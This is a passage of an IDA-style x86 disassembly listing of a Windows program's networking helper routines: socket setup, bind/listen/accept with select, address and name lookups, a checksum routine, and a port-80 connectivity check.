push eax call sub_41152E ; _snprintf add esp, 10h lea eax, [ebp+var_104] push esi push [ebp+arg_4] push 0FFFFFFFFh push eax push 0 push 0 call dword_412058 ; MultiByteToWideChar pop esi leave retn sub_40311D endp ; =============== S U B R O U T I N E ======================================= sub_40315E proc near ; CODE XREF: sub_403EA9+539p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor edx, edx cmp esi, 1 jbe short loc_403182 mov eax, [esp+4+arg_0] mov ecx, esi push edi shr ecx, 1 loc_403173: ; CODE XREF: sub_40315E+1Fj movzx edi, word ptr [eax] add edx, edi inc eax inc eax dec esi dec esi dec ecx jnz short loc_403173 pop edi jmp short loc_403186 ; --------------------------------------------------------------------------- loc_403182: ; CODE XREF: sub_40315E+Aj mov eax, [esp+4+arg_0] loc_403186: ; CODE XREF: sub_40315E+22j test esi, esi pop esi jz short loc_403190 movzx eax, byte ptr [eax] add edx, eax loc_403190: ; CODE XREF: sub_40315E+2Bj mov ecx, edx and edx, 0FFFFh shr ecx, 10h add ecx, edx mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40315E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4031A7 proc near ; CODE XREF: sub_403EA9+520p ; sub_407A76+F8Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx dec eax push esi dec eax push edi mov ebx, 0FEh jz short loc_4031F0 dec eax jz short loc_4031D4 dec eax jnz short loc_40320C push ebx push 1 call sub_40B459 mov edi, eax mov eax, [ebp+arg_0] pop ecx and al, 0 pop ecx or edi, eax jmp short loc_4031D7 ; --------------------------------------------------------------------------- loc_4031D4: ; CODE XREF: sub_4031A7+13j mov edi, [ebp+arg_0] loc_4031D7: ; CODE XREF: sub_4031A7+2Bj push ebx push 1 call sub_40B459 mov esi, eax pop ecx shl esi, 8 and edi, 0FFFF00FFh pop ecx or esi, edi jmp short loc_4031F3 ; --------------------------------------------------------------------------- loc_4031F0: ; CODE XREF: sub_4031A7+10j mov esi, [ebp+arg_0] loc_4031F3: ; CODE XREF: sub_4031A7+47j push ebx push 1 call sub_40B459 mov edi, eax pop ecx shl edi, 10h and esi, 0FF00FFFFh pop ecx or edi, esi jmp short loc_40320F ; --------------------------------------------------------------------------- loc_40320C: ; CODE XREF: sub_4031A7+16j mov edi, [ebp+arg_0] loc_40320F: ; CODE XREF: sub_4031A7+63j push ebx push 1 call sub_40B459 pop ecx and edi, 0FFFFFFh shl eax, 18h pop ecx or eax, edi pop edi pop esi pop ebx pop ebp retn sub_4031A7 endp ; =============== S U B R O U T I N E ======================================= sub_403229 proc near ; CODE XREF: sub_4032D2+Ap ; sub_40338B+13p arg_0 = dword ptr 4 push 0Ah push [esp+4+arg_0] push 0FFFFh push 401h call sub_40B459 pop ecx pop ecx push eax call sub_41192A ; _itoa add esp, 0Ch retn sub_403229 endp ; =============== S U B R O U T I N E ======================================= sub_40324A proc near ; CODE XREF: sub_409918+479p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push 4 push offset dword_413A50 push esi call sub_411570 ; strncmp add esp, 0Ch test eax, eax jnz short loc_403268 loc_403263: ; CODE XREF: sub_40324A+30j ; sub_40324A+44j push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_403268: ; CODE XREF: sub_40324A+17j push 4 push offset dword_413A48 push esi call sub_411570 ; strncmp add esp, 0Ch test eax, eax jz short loc_403263 push 8 push offset dword_413A3C push esi call sub_411570 ; strncmp add esp, 0Ch test eax, eax jz short loc_403263 push 3 push offset dword_413A38 push esi call sub_411570 ; strncmp add esp, 0Ch neg eax sbb eax, eax pop esi inc eax retn sub_40324A endp ; =============== S U B R O U T I N E ======================================= sub_4032A7 proc near ; CODE XREF: sub_402230+173p ; sub_4030A7+Bp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor eax, eax loc_4032AD: ; CODE XREF: sub_4032A7+10j cmp byte ptr [eax+ecx], 0 jz short loc_4032BC inc eax cmp eax, 6 jnz short loc_4032AD loc_4032B9: ; CODE XREF: sub_4032A7+1Ej ; sub_4032A7+25j xor eax, eax retn ; --------------------------------------------------------------------------- loc_4032BC: ; CODE XREF: sub_4032A7+Aj push ecx call sub_41151C ; atoi test eax, eax pop ecx jz short loc_4032B9 cmp eax, 0FFFFh ja short loc_4032B9 push 1 pop eax retn sub_4032A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4032D2 proc near ; CODE XREF: sub_403338+9p ; sub_40656A:loc_406696p ... var_8 = byte ptr -8 push ebp mov ebp, esp push ecx push ecx lea eax, [ebp+var_8] push esi push eax call sub_403229 lea eax, [ebp+var_8] push 1 push eax call sub_403644 mov esi, eax add esp, 0Ch test esi, esi jnz short loc_4032FA push 1 pop eax jmp short loc_403330 ; --------------------------------------------------------------------------- loc_4032FA: ; CODE XREF: sub_4032D2+21j push edi push 0BB8h lea eax, [ebp+var_8] push 0 push eax push offset dword_41A2E8 call sub_403C04 push esi mov edi, eax call sub_40392A add esp, 14h test edi, edi jz short loc_403333 cmp edi, 0FFFFFFFFh jz short loc_403333 push edi xor esi, esi call sub_403D92 pop ecx loc_40332D: ; CODE XREF: sub_4032D2+64j mov eax, esi pop edi loc_403330: ; CODE XREF: sub_4032D2+26j pop esi leave retn ; --------------------------------------------------------------------------- loc_403333: ; CODE XREF: sub_4032D2+4Bj ; sub_4032D2+50j push 1 pop esi jmp short loc_40332D sub_4032D2 endp ; =============== S U B R O U T I N E ======================================= sub_403338 proc near ; CODE XREF: sub_40DE4C+1p ; sub_40EE23+182p ... cmp dword_419634, 0 jnz short loc_403360 call sub_4032D2 push eax push offset dword_419638 call sub_407227 push 1 push offset dword_419634 call sub_407227 add esp, 10h loc_403360: ; CODE XREF: sub_403338+7j mov eax, dword_419638 retn sub_403338 endp ; =============== S U B R O U T I N E ======================================= sub_403366 proc near ; CODE XREF: sub_40338B+6p ; sub_403644+36p push esi push 0 push 1 push 17h call dword_41222C ; socket mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_403381 push esi call sub_403D92 pop ecx loc_403381: ; CODE XREF: sub_403366+12j xor eax, eax cmp esi, 0FFFFFFFFh setnz al pop esi retn sub_403366 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40338B proc near ; CODE XREF: sub_405FF3:loc_40617Dp var_8 = byte ptr -8 push ebp mov ebp, esp push ecx push ecx push esi call sub_403366 test eax, eax jz short loc_4033B7 lea eax, [ebp+var_8] push eax call sub_403229 lea eax, [ebp+var_8] push 1 push eax call sub_403644 mov esi, eax add esp, 0Ch test esi, esi jnz short loc_4033BB loc_4033B7: ; CODE XREF: sub_40338B+Dj xor eax, eax jmp short loc_4033F2 ; --------------------------------------------------------------------------- loc_4033BB: ; CODE XREF: sub_40338B+2Aj push edi push 0BB8h lea eax, [ebp+var_8] push 2 push eax push offset dword_413A64 call sub_403C04 push esi mov edi, eax call sub_40392A add esp, 14h test edi, edi jz short loc_4033F5 cmp edi, 0FFFFFFFFh jz short loc_4033F5 push 1 pop esi push edi call sub_403D92 pop ecx loc_4033EF: ; CODE XREF: sub_40338B+6Cj mov eax, esi pop edi loc_4033F2: ; CODE XREF: sub_40338B+2Ej pop esi leave retn ; --------------------------------------------------------------------------- loc_4033F5: ; CODE XREF: sub_40338B+53j ; sub_40338B+58j xor esi, esi jmp short loc_4033EF sub_40338B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033F9 proc near ; CODE XREF: sub_40656A:loc_40667Dp ; sub_408E1A+196p ... var_14 = byte ptr -14h push ebp mov ebp, esp sub esp, 14h push esi lea eax, [ebp+var_14] push offset dword_413A18 push eax call sub_4114B8 ; _mbscpy lea eax, [ebp+var_14] push eax call sub_40B5E1 push 7D0h push 2 lea eax, [ebp+var_14] push offset a80 ; "80" push eax call sub_403C04 add esp, 1Ch test eax, eax jz short loc_403447 cmp eax, 0FFFFFFFFh jz short loc_403447 push 1 pop esi push eax call sub_403D92 pop ecx loc_403442: ; CODE XREF: sub_4033F9+50j mov eax, esi pop esi leave retn ; --------------------------------------------------------------------------- loc_403447: ; CODE XREF: sub_4033F9+38j ; sub_4033F9+3Dj xor esi, esi jmp short loc_403442 sub_4033F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40344B proc near ; CODE XREF: sub_403B44+7Dp ; sub_403C04+ABp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp xor eax, eax cmp [ebp+arg_4], eax setz al mov [ebp+arg_4], eax lea eax, [ebp+arg_4] push eax push 8004667Eh push [ebp+arg_0] call dword_412228 ; ioctlsocket pop ebp retn sub_40344B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40346D proc near ; CODE XREF: sub_40544F+1C5p ; sub_40544F+200p arg_0 = dword ptr 8 push ebp mov ebp, esp lea eax, [ebp+arg_0] push eax push 4004667Fh push [ebp+arg_0] call dword_412228 ; ioctlsocket xor eax, eax cmp [ebp+arg_0], eax setnz al pop ebp retn sub_40346D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40348C proc near ; CODE XREF: sub_409918+467p ; sub_40DE9A+54p var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412250 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_4034B9 xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4034B9: ; CODE XREF: sub_40348C+27j push 2 push 0 push 0 push 100h push [ebp+arg_4] lea eax, [ebp+var_84] push [ebp+var_4] push eax call dword_419228 ; getnameinfo neg eax sbb eax, eax inc eax leave retn sub_40348C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4034DE proc near ; CODE XREF: sub_40544F+B2p ; sub_40E6A0+24p ... var_84 = byte ptr -84h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412224 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_40350B xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40350B: ; CODE XREF: sub_4034DE+27j push 2 push 0 push 0 push 100h push [ebp+arg_4] lea eax, [ebp+var_84] push [ebp+var_4] push eax call dword_419228 ; getnameinfo neg eax sbb eax, eax inc eax leave retn sub_4034DE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403530 proc near ; CODE XREF: sub_40ECD6+8Fp ; sub_410C55+182p var_84 = byte ptr -84h var_82 = dword ptr -82h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412250 ; getsockname cmp eax, 0FFFFFFFFh jnz short loc_40355D xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40355D: ; CODE XREF: sub_403530+27j push 0Ah push [ebp+arg_4] push [ebp+var_82] call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa add esp, 0Ch push 1 pop eax leave retn sub_403530 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40357F proc near ; CODE XREF: sub_40F9C9+142p ; sub_410C55+14Ap var_84 = byte ptr -84h var_82 = dword ptr -82h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 84h lea eax, [ebp+var_4] mov [ebp+var_4], 80h push eax lea eax, [ebp+var_84] push eax push [ebp+arg_0] call dword_412224 ; getpeername cmp eax, 0FFFFFFFFh jnz short loc_4035AC xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_4035AC: ; CODE XREF: sub_40357F+27j push 0Ah push [ebp+arg_4] push [ebp+var_82] call dword_412248 ; htons movzx eax, ax push eax call sub_41192A ; _itoa add esp, 0Ch push 1 pop eax leave retn sub_40357F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035CE proc near ; CODE XREF: sub_409918+516p var_404 = byte ptr -404h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h lea eax, [ebp+arg_0] push esi push eax push 0 push 0 push [ebp+arg_0] call dword_419224 ; getaddrinfo test eax, eax jnz short loc_40363F mov esi, [ebp+arg_0] loc_4035F0: ; CODE XREF: sub_4035CE+51j test esi, esi jz short loc_403636 push 2 push 0 push 0 lea eax, [ebp+var_404] push 401h push eax push dword ptr [esi+10h] push dword ptr [esi+18h] call dword_419228 ; getnameinfo test eax, eax jnz short loc_40361C cmp dword ptr [esi+4], 2 jz short loc_403621 loc_40361C: ; CODE XREF: sub_4035CE+46j mov esi, [esi+1Ch] jmp short loc_4035F0 ; --------------------------------------------------------------------------- loc_403621: ; CODE XREF: sub_4035CE+4Cj lea eax, [ebp+var_404] push eax push [ebp+arg_4] call sub_4114B8 ; _mbscpy pop ecx mov al, 1 pop ecx jmp short loc_403641 ; --------------------------------------------------------------------------- loc_403636: ; CODE XREF: sub_4035CE+24j push [ebp+arg_0] call dword_41922C ; freeaddrinfo loc_40363F: ; CODE XREF: sub_4035CE+1Dj xor al, al loc_403641: ; CODE XREF: sub_4035CE+66j pop esi leave retn sub_4035CE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403644 proc near ; CODE XREF: sub_401B81+D4p ; sub_402EFD+33p ... var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx push edi push 1008h call sub_4114C4 ; malloc mov edi, eax xor ebx, ebx cmp edi, ebx pop ecx jz loc_40375D push 20h lea eax, [ebp+var_24] push ebx push eax mov [edi], ebx mov [edi+804h], ebx call sub_4114E8 ; memset add esp, 0Ch call sub_403366 neg eax sbb eax, eax mov [ebp+var_1C], 1 and al, 0FEh mov [ebp+var_24], 5 inc eax inc eax mov [ebp+var_20], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_0] push ebx call dword_419224 ; getaddrinfo test eax, eax jnz loc_403756 push esi mov esi, [ebp+var_4] cmp esi, ebx jz loc_403748 loc_4036BE: ; CODE XREF: sub_403644+FCj push dword ptr [esi+0Ch] push dword ptr [esi+8] push dword ptr [esi+4] call dword_41222C ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40373B mov eax, [esi+4] cmp eax, 2 jz short loc_4036E1 cmp eax, 17h jnz short loc_40373B loc_4036E1: ; CODE XREF: sub_403644+96j test [ebp+arg_4], 2 jz short loc_403702 lea eax, [ebp+arg_0] push 4 push eax push 4 push 0FFFFh push ebx mov [ebp+arg_0], 1 call dword_412218 ; setsockopt loc_403702: ; CODE XREF: sub_403644+A1j push dword ptr [esi+10h] push dword ptr [esi+18h] push ebx call dword_41221C ; bind cmp eax, 0FFFFFFFFh jz short loc_403722 push 32h push ebx call dword_412278 ; listen cmp eax, 0FFFFFFFFh jnz short loc_40372B loc_403722: ; CODE XREF: sub_403644+CEj push ebx call sub_403D92 pop ecx jmp short loc_40373B ; --------------------------------------------------------------------------- loc_40372B: ; CODE XREF: sub_403644+DCj mov eax, [edi] mov [edi+eax*4+4], ebx inc dword ptr [edi] cmp dword ptr [edi], 200h jz short loc_403746 loc_40373B: ; CODE XREF: sub_403644+8Ej ; sub_403644+9Bj ... mov esi, [esi+1Ch] test esi, esi jnz loc_4036BE loc_403746: ; CODE XREF: sub_403644+F5j xor ebx, ebx loc_403748: ; CODE XREF: sub_403644+74j push [ebp+var_4] call dword_41922C ; freeaddrinfo cmp [edi], ebx pop esi jnz short loc_403761 loc_403756: ; CODE XREF: sub_403644+68j push edi call sub_4114CA ; free pop ecx loc_40375D: ; CODE XREF: sub_403644+19j xor eax, eax jmp short loc_403763 ; --------------------------------------------------------------------------- loc_403761: ; CODE XREF: sub_403644+110j mov eax, edi loc_403763: ; CODE XREF: sub_403644+11Bj pop edi pop ebx leave retn sub_403644 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403767 proc near ; CODE XREF: sub_401B81+18Fp ; sub_402EFD+7Dp ... var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 90h and [ebp+var_4], 0 push ebx push esi mov esi, [ebp+arg_0] push edi mov [ebp+var_8], 80h cmp dword ptr [esi], 0 jbe loc_40380C lea edi, [esi+4] loc_40378D: ; CODE XREF: sub_403767+A3j lea ebx, [esi+804h] push ebx push dword ptr [edi] call sub_4117E8 ; __WSAFDIsSet test eax, eax jz short loc_4037FF mov edx, [ebx] xor ecx, ecx test edx, edx jbe short loc_4037E3 mov ebx, [edi] lea eax, [esi+808h] loc_4037AF: ; CODE XREF: sub_403767+52j cmp [eax], ebx jz short loc_4037BD inc ecx add eax, 4 cmp ecx, edx jb short loc_4037AF jmp short loc_4037E3 ; --------------------------------------------------------------------------- loc_4037BD: ; CODE XREF: sub_403767+4Aj dec edx cmp ecx, edx jnb short loc_4037DD lea eax, [esi+ecx*4+808h] loc_4037C9: ; CODE XREF: sub_403767+74j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [esi+804h] add eax, 4 dec edx cmp ecx, edx jb short loc_4037C9 loc_4037DD: ; CODE XREF: sub_403767+59j dec dword ptr [esi+804h] loc_4037E3: ; CODE XREF: sub_403767+3Ej ; sub_403767+54j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_90] push eax push dword ptr [edi] call dword_41223C ; accept cmp eax, 0FFFFFFFFh jnz loc_403925 loc_4037FF: ; CODE XREF: sub_403767+36j inc [ebp+var_4] add edi, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_40378D loc_40380C: ; CODE XREF: sub_403767+1Dj lea edi, [esi+804h] xor eax, eax cmp [esi], eax mov [ebp+var_4], eax mov [edi], eax jbe short loc_403868 lea ecx, [esi+4] loc_403820: ; CODE XREF: sub_403767+FFj mov edx, [edi] and [ebp+arg_0], 0 test edx, edx jbe short loc_403841 lea eax, [esi+808h] loc_403830: ; CODE XREF: sub_403767+D8j mov ebx, [ecx] cmp [eax], ebx jz short loc_403841 inc [ebp+arg_0] add eax, 4 cmp [ebp+arg_0], edx jb short loc_403830 loc_403841: ; CODE XREF: sub_403767+C1j ; sub_403767+CDj mov eax, [ebp+arg_0] cmp eax, edx jnz short loc_40385B cmp edx, 200h jnb short loc_40385B mov edx, [ecx] mov [esi+eax*4+808h], edx inc dword ptr [edi] loc_40385B: ; CODE XREF: sub_403767+DFj ; sub_403767+E7j inc [ebp+var_4] add ecx, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_403820 loc_403868: ; CODE XREF: sub_403767+B4j mov eax, [ebp+arg_4] mov ecx, 3E8h xor edx, edx mov ebx, ecx div ebx xor edx, edx xor ebx, ebx mov [ebp+var_10], eax mov eax, [ebp+arg_4] div ecx lea eax, [ebp+var_10] push eax push ebx push ebx push edi push dword ptr [esi] imul edx, 3E8h mov [ebp+var_C], edx call dword_412214 ; select cmp eax, ebx jz loc_403922 cmp eax, 0FFFFFFFFh jnz short loc_4038AB xor eax, eax jmp short loc_403925 ; --------------------------------------------------------------------------- loc_4038AB: ; CODE XREF: sub_403767+13Ej cmp [esi], ebx mov [ebp+var_4], ebx jbe short loc_403922 lea ebx, [esi+4] loc_4038B5: ; CODE XREF: sub_403767+1B9j push edi push dword ptr [ebx] call sub_4117E8 ; __WSAFDIsSet test eax, eax jz short loc_403915 xor ecx, ecx cmp [edi], ecx jbe short loc_4038FD lea eax, [esi+808h] loc_4038CD: ; CODE XREF: sub_403767+172j mov edx, [ebx] cmp [eax], edx jz short loc_4038DD inc ecx add eax, 4 cmp ecx, [edi] jb short loc_4038CD jmp short loc_4038FD ; --------------------------------------------------------------------------- loc_4038DD: ; CODE XREF: sub_403767+16Aj mov eax, [edi] dec eax cmp ecx, eax jnb short loc_4038FB lea eax, [esi+ecx*4+808h] loc_4038EB: ; CODE XREF: sub_403767+192j mov edx, [eax+4] inc ecx mov [eax], edx mov edx, [edi] add eax, 4 dec edx cmp ecx, edx jb short loc_4038EB loc_4038FB: ; CODE XREF: sub_403767+17Bj dec dword ptr [edi] loc_4038FD: ; CODE XREF: sub_403767+15Ej ; sub_403767+174j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_90] push eax push dword ptr [ebx] call dword_41223C ; accept cmp eax, 0FFFFFFFFh jnz short loc_403925 loc_403915: ; CODE XREF: sub_403767+158j inc [ebp+var_4] add ebx, 4 mov eax, [ebp+var_4] cmp eax, [esi] jb short loc_4038B5 loc_403922: ; CODE XREF: sub_403767+135j ; sub_403767+149j or eax, 0FFFFFFFFh loc_403925: ; CODE XREF: sub_403767+92j ; sub_403767+142j ... pop edi pop esi pop ebx leave retn sub_403767 endp ; =============== S U B R O U T I N E ======================================= sub_40392A proc near ; CODE XREF: sub_401B81+FFp ; sub_401B81+2EFp ... arg_0 = dword ptr 4 push ebx push esi mov esi, [esp+8+arg_0] xor ebx, ebx push edi mov eax, [esi] test eax, eax jbe short loc_40395C lea edi, [esi+4] loc_40393C: ; CODE XREF: sub_40392A+30j cmp dword_4191D8, 0 jz short loc_40394A cmp eax, 64h ja short loc_40395C loc_40394A: ; CODE XREF: sub_40392A+19j push dword ptr [edi] call sub_403D92 mov eax, [esi] inc ebx add edi, 4 cmp ebx, eax pop ecx jb short loc_40393C loc_40395C: ; CODE XREF: sub_40392A+Dj ; sub_40392A+1Ej and dword ptr [esi+804h], 0 push esi call sub_4114CA ; free pop ecx pop edi pop esi pop ebx retn sub_40392A endp ; =============== S U B R O U T I N E ======================================= sub_40396E proc near ; CODE XREF: sub_40EE23+149p ; sub_40F9C9+32p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] cmp esi, 200h ja short loc_40398A push 1010h call sub_4114C4 ; malloc test eax, eax pop ecx jnz short loc_40398E loc_40398A: ; CODE XREF: sub_40396E+Bj xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40398E: ; CODE XREF: sub_40396E+1Aj and dword ptr [eax+4], 0 mov [eax], esi pop esi retn sub_40396E endp ; =============== S U B R O U T I N E ======================================= sub_403996 proc near ; CODE XREF: sub_40EE23+32Cp ; sub_40F9C9+FBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [eax+4] cmp ecx, [eax] jnz short loc_4039AE push [esp+arg_0] call sub_403D92 pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_4039AE: ; CODE XREF: sub_403996+9j mov edx, [esp+arg_0] mov [eax+ecx*4+0Ch], edx inc dword ptr [eax+4] mov ecx, [eax+4] xor edx, edx cmp ecx, [eax] setnz dl mov eax, edx retn sub_403996 endp ; =============== S U B R O U T I N E ======================================= sub_4039C6 proc near ; CODE XREF: sub_40EE23+3D3p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax push edi mov edx, [esi+4] test edx, edx jbe short loc_403A18 lea ecx, [esi+0Ch] loc_4039D8: ; CODE XREF: sub_4039C6+20j mov edi, [ecx] cmp edi, [esp+8+arg_0] jz short loc_4039EA inc eax add ecx, 4 cmp eax, edx jb short loc_4039D8 jmp short loc_403A18 ; --------------------------------------------------------------------------- loc_4039EA: ; CODE XREF: sub_4039C6+18j mov ecx, [esi+8] cmp eax, ecx jb short loc_4039F5 dec ecx mov [esi+8], ecx loc_4039F5: ; CODE XREF: sub_4039C6+29j mov ecx, eax imul ecx, 3FFFFFFFh add ecx, edx shl ecx, 2 push ecx lea ecx, [esi+eax*4+10h] lea eax, [esi+eax*4+0Ch] push ecx push eax call sub_4114D0 ; memcpy add esp, 0Ch dec dword ptr [esi+4] loc_403A18: ; CODE XREF: sub_4039C6+Dj ; sub_4039C6+22j pop edi pop esi retn sub_4039C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A1B proc near ; CODE XREF: sub_40EE23+361p ; sub_40F9C9+11Ap var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_0] push ebx xor ebx, ebx cmp [eax+4], ebx lea ecx, [eax+80Ch] mov [eax+8], ebx mov [ebp+var_4], ebx mov [ecx], ebx jbe short loc_403A8A push esi push edi lea esi, [eax+0Ch] loc_403A3E: ; CODE XREF: sub_403A1B+6Bj mov edi, [ecx] mov [ebp+arg_0], ebx cmp edi, ebx jbe short loc_403A60 lea edx, [eax+810h] loc_403A4D: ; CODE XREF: sub_403A1B+41j mov ebx, [esi] cmp [edx], ebx jz short loc_403A5E inc [ebp+arg_0] add edx, 4 cmp [ebp+arg_0], edi jb short loc_403A4D loc_403A5E: ; CODE XREF: sub_403A1B+36j xor ebx, ebx loc_403A60: ; CODE XREF: sub_403A1B+2Aj mov edx, [ebp+arg_0] cmp edx, edi jnz short loc_403A7A cmp edi, 200h jnb short loc_403A7A mov edi, [esi] mov [eax+edx*4+810h], edi inc dword ptr [ecx] loc_403A7A: ; CODE XREF: sub_403A1B+4Aj ; sub_403A1B+52j inc [ebp+var_4] mov edx, [ebp+var_4] add esi, 4 cmp edx, [eax+4] jb short loc_403A3E pop edi pop esi loc_403A8A: ; CODE XREF: sub_403A1B+1Cj lea eax, [ebp+var_8] mov [ebp+var_8], ebx push eax push ebx push ecx push ebx push ebx mov [ebp+var_4], 3E8h call dword_412214 ; select cmp eax, ebx jz short loc_403AB0 cmp eax, 0FFFFFFFFh jz short loc_403AB0 push 1 pop eax jmp short loc_403AB2 ; --------------------------------------------------------------------------- loc_403AB0: ; CODE XREF: sub_403A1B+89j ; sub_403A1B+8Ej xor eax, eax loc_403AB2: ; CODE XREF: sub_403A1B+93j pop ebx leave retn sub_403A1B endp ; =============== S U B R O U T I N E ======================================= sub_403AB5 proc near ; CODE XREF: sub_40EE23+372p ; sub_40F9C9+133p arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] push edi mov edi, [esi+8] cmp edi, [esi+4] jnb short loc_403AE4 lea ebp, [esi+80Ch] lea ebx, [esi+edi*4+0Ch] loc_403ACF: ; CODE XREF: sub_403AB5+2Dj push ebp push dword ptr [ebx] call sub_4117E8 ; __WSAFDIsSet test eax, eax jnz short loc_403AEB inc edi add ebx, 4 cmp edi, [esi+4] jb short loc_403ACF loc_403AE4: ; CODE XREF: sub_403AB5+Ej xor eax, eax loc_403AE6: ; CODE XREF: sub_403AB5+40j pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_403AEB: ; CODE XREF: sub_403AB5+24j lea eax, [edi+1] mov [esi+8], eax mov eax, [esi+edi*4+0Ch] jmp short loc_403AE6 sub_403AB5 endp ; =============== S U B R O U T I N E ======================================= sub_403AF7 proc near ; CODE XREF: sub_403B2F+4p ; sub_40EE23+435p ... arg_0 = dword ptr 4 push ebx push ebp push esi mov esi, [esp+0Ch+arg_0] xor ebp, ebp xor ebx, ebx cmp [esi+4], ebp jbe short loc_403B1F push edi lea edi, [esi+0Ch] loc_403B0B: ; CODE XREF: sub_403AF7+25j push dword ptr [edi] call sub_403D92 mov [edi], ebp inc ebx add edi, 4 cmp ebx, [esi+4] pop ecx jb short loc_403B0B pop edi loc_403B1F: ; CODE XREF: sub_403AF7+Ej mov [esi+4], ebp mov [esi+8], ebp mov [esi+80Ch], ebp pop esi pop ebp pop ebx retn sub_403AF7 endp ; =============== S U B R O U T I N E ======================================= sub_403B2F proc near ; CODE XREF: sub_40EE23+483p ; sub_40F9C9+1C2p arg_0 = dword ptr 4 push [esp+arg_0] call sub_403AF7 push [esp+4+arg_0] call sub_4114CA ; free pop ecx pop ecx retn sub_403B2F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403B44 proc near ; CODE XREF: sub_40E829+15p ; sub_40EE23+323p ... var_24 = byte ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 24h push 20h lea eax, [ebp+var_24] push 0 push eax call sub_4114E8 ; memset add esp, 0Ch test [ebp+arg_8], 2 jz short loc_403B69 mov [ebp+var_20], 17h jmp short loc_403B75 ; --------------------------------------------------------------------------- loc_403B69: ; CODE XREF: sub_403B44+1Aj movsx eax, [ebp+arg_8] and eax, 1 shl eax, 1 mov [ebp+var_20], eax loc_403B75: ; CODE XREF: sub_403B44+23j test [ebp+arg_8], 4 push 0 pop eax setnz al inc eax mov [ebp+var_1C], eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push [ebp+arg_4] push [ebp+arg_0] call dword_419224 ; getaddrinfo test eax, eax jz short loc_403B9F xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_403B9F: ; CODE XREF: sub_403B44+55j push esi mov esi, [ebp+var_4] push edi loc_403BA4: ; CODE XREF: sub_403B44+ADj test esi, esi jz short loc_403BF3 push dword ptr [esi+0Ch] push dword ptr 